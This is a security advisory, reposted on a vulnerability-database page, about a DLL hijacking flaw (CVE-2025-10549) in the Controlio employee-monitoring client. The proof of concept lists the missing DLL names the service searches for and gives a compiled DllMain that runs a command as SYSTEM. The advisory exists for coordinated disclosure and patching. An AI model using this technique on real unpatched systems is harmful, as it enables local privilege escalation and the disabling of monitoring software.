Lucene search
K

📄 EfficientLab Controlio DLL Hijacking

🗓️ 30 Apr 2026 00:00:00Reported by Tobias Niemann, Thorger Jansen, Daniel Hirschberger, Marius RennerType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 135 Views

DLL hijacking in EfficientLab Controlio; vulnerable before 1.3.95, fixed 1.3.95; high impact.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2025-10549
23 Apr 202606:57
attackerkb
CNNVD
EfficientLab Controlio 代码问题漏洞
23 Apr 202600:00
cnnvd
CVE
CVE-2025-10549
23 Apr 202606:57
cve
Cvelist
CVE-2025-10549 DLL Hijacking in EfficientLab Controlio Leads to Local Privilege Escalation
23 Apr 202606:57
cvelist
EUVD
EUVD-2025-209559
23 Apr 202609:32
euvd
NVD
CVE-2025-10549
23 Apr 202607:16
nvd
Positive Technologies
PT-2026-34644
23 Apr 202600:00
ptsecurity
RedhatCVE
CVE-2025-10549
29 Apr 202620:48
redhatcve
Vulnrichment
CVE-2025-10549 DLL Hijacking in EfficientLab Controlio Leads to Local Privilege Escalation
23 Apr 202606:57
vulnrichment
SEC Consult Vulnerability Lab Security Advisory < 20260423-0 >
    =======================================================================
                 title: DLL Hijacking
               product: EfficientLab Controlio (cloud-based employee monitoring service)
    vulnerable version: <1.3.95
         fixed version: 1.3.95
            CVE number: CVE-2025-10549
                impact: High
              homepage:https://controlio.net
                 found: 2025-05-20
                    by: Tobias Niemann (Office Bochum)
                        Daniel Hirschberger
                        Thorger Jansen (Office Bochum)
                        Marius Renner (Office Berlin)
                        SEC Consult Vulnerability Lab
    
                        An integrated part of SEC Consult, an Atos business
                        Europe | Asia
    
                        https://www.sec-consult.com
    
    =======================================================================
    
    Vendor description:
    -------------------
    "Controlio is a web-based cloud system for employee surveillance on their work PCs that
    run Windows or MAC. You can easily monitor web and application usage, and watch what’s
    happening on your staff screens live or on-demand. Check what they type, search on the
    Web, what files they copy and much more.
    The client app runs in stealth mode on a work computer, so your employees won’t see
    additional icons or processes. The system is free to try on three computers."
    
    Source:https://controlio.net/what_is_controlio.html
    
    
    Business recommendation:
    ------------------------
    The vendor provides a patch v1.3.95 which should be installed immediately.
    
    SEC Consult highly recommends to perform a thorough security review of the
    product conducted by security professionals to identify and resolve potential
    further security issues.
    
    
    Vulnerability overview/description:
    -----------------------------------
    1) DLL Hijacking Vulnerability (CVE-2025-10549)
    A local attacker can exploit weak folder permissions in the Controlio
    installation directory to perform DLL hijacking attacks. As the service
    is running as NT Authority\SYSTEM this allows a local attacker to execute
    arbitrary code and commands as highly privileged user and bypass or disable
    the monitoring solution.
    
    
    Proof of concept:
    -----------------
    1) DLL Hijacking Vulnerability (CVE-2025-10549)
    Controlio attempts to load multiple non-existing DLLs from the installation
    directory at C:\ProgramData\{UUID}
    
    <procmon.png>
    
    The full list of DLLs that are searched for in the install directory
    is listed below:
    --------------------------------------------------------------------------------
    version.dll
    wtsapi32.dll
    netapi32.dll
    winhttp.dll
    shfolder.dll
    wsock32.dll
    NETUTILS.dll
    PowrProf.dll
    dbghelp.dll
    dbgcore.dll
    WER.dll
    iphlpapi.dll
    Secur32.dll
    SSPICLI.dll
    WINSTA.dll
    olepro32.dll
    security.dll
    FwpucInt.dll
    IdnDL.dll
    Wldp.dll
    profapi.dll
    --------------------------------------------------------------------------------
    
    While a local attacker cannot overwrite the service binaries themselves, the
    default permissions allow an attacker to create new files in the installation
    directory:
    
    <service_permissions.png>
    <install_dir_permissions.png>
    
    An attacker can use this to drop DLLs that execute arbitrary code when they
    are loaded when the Controlio service is started. For this proof of concept
    the following WER.dll is dropped:
    
    --------------------------------------------------------------------------------
    #include <windows.h>
    BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
        if (dwReason == DLL_PROCESS_ATTACH){
            system("whoami > C:\\dll_hijack.txt");
            ExitProcess(0);
        }
        return TRUE;
    }
    
    x86_64-w64-mingw32-gcc windows_dll.c -shared -o WER.dll
    --------------------------------------------------------------------------------
    
    When the service is restarted, the DLL is loaded and the command is executed as
    NT Authority\SYSTEM:
    
    <executed.png>
    
    
    Vulnerable / tested versions:
    -----------------------------
    The following version has been tested which was the latest version available
    at the time of the test:
    * Controlio v1.3.0.60
    
    The vendor provides a patched version v1.3.95, it is assumed that all previous
    versions are affected.
    
    Vendor contact timeline:
    ------------------------
    2025-07-09: Initial mail to the vendor ([email protected]); no response
    2025-08-22: Sent reminder mail; no response.
    2025-09-16: Submitting support ticket viahttps://kb.controlio.net/hc/en-us/requests/new
                Vendor assigns ticket #14957, support agent forwards request to relevant
                department.
                EfficientLab answers that there is a bug bounty page to submit security
                advisories athttps://controlio.net/bug-bounty.html
    2025-09-17: Submitting advisory.
    2025-10-15: Vendor responds that although out of scope (client agent), they grant
                a 250 USD bug bounty and have accepted it as medium priority.
    2025-10-16: Asking the vendor to donate the money to EFF to foster secure software
                development, as well as asking for timeline regarding the fix.
    2025-10-16: Vendor will publish an update within the next 4 weeks, donation request
                has been forwarded to relevant team for processing.
    2025-10-17: Confirming the postponement of the advisory release.
    2025-11-03: Asking for a status update, sending vendor reserved CVE number.
    2025-11-04: Vendor responds that the fix is in the roadmap, but there is no clear
                timeline yet, they are hoping to fix it before end of the year.
                Bounty was donated to EFF with transaction ID 9MX93585JU286433M.
    2025-11-05: Asking whether they need support or further information regarding the issue
                and what changed regarding the timeline because the vendor provided a
                timeline of 4 weeks mid October.
    2025-11-05: Vendor responds that due to internal overload, timeline has shifted.
                No support needed.
    2026-02-09: Contacting vendor again, asking for patch status and setting advisory
                release date to 25th February.
    2026-02-23: Vendor responds that fix is implemented in the client, but the final build
                is on hold due to driver issues.
    2026-02-25: Asking about the new release timeline.
    2026-02-26: Fixed version should be released within two weeks.
    2026-03-26: Asking for a status update, no response.
    2026-04-14: Asking for a status update again. Vendor support contact has requested
                another updated from their developers.
    2026-04-21: Vendor informs us that v1.3.95 has been released on 15th April.
    2026-04-23: Coordinated release of advisory.
    
    
    Solution:
    ---------
    The vendor provides a patch v1.3.95 which should be installed immediately.
    
    For further details see their changelog knowledgebase:
    https://kb.controlio.net/hc/en-us/articles/45777908471185-Client-Update-April-15-2026-ver-1-3-95
    
    
    
    Workaround:
    -----------
    None
    
    
    Advisory URL:
    -------------
    https://sec-consult.com/vulnerability-lab/
    
    
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    SEC Consult Vulnerability Lab
    An integrated part of SEC Consult, an Atos business
    Europe | Asia
    
    About SEC Consult Vulnerability Lab
    The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
    Atos business. It ensures the continued knowledge gain of SEC Consult in the
    field of network and application security to stay ahead of the attacker. The
    SEC Consult Vulnerability Lab supports high-quality penetration testing and
    the evaluation of new offensive and defensive technologies for our customers.
    Hence our customers obtain the most current information about vulnerabilities
    and valid recommendation about the risk profile of new technologies.
    
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    Interested to work with the experts of SEC Consult?
    Send us your applicationhttps://sec-consult.com/career/
    
    Interested in improving your cyber security with the experts of SEC Consult?
    Contact our local officeshttps://sec-consult.com/contact/
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    Mail: security-research at sec-consult dot com
    Web:https://www.sec-consult.com
    Blog:https://blog.sec-consult.com
    X:https://x.com/sec_consult
    
    EOF Tobias Niemann, Daniel Hirschberger, Thorger Jansen, Marius Renner / @2026

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Apr 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 3.15.1
EPSS0.00163
SSVC
135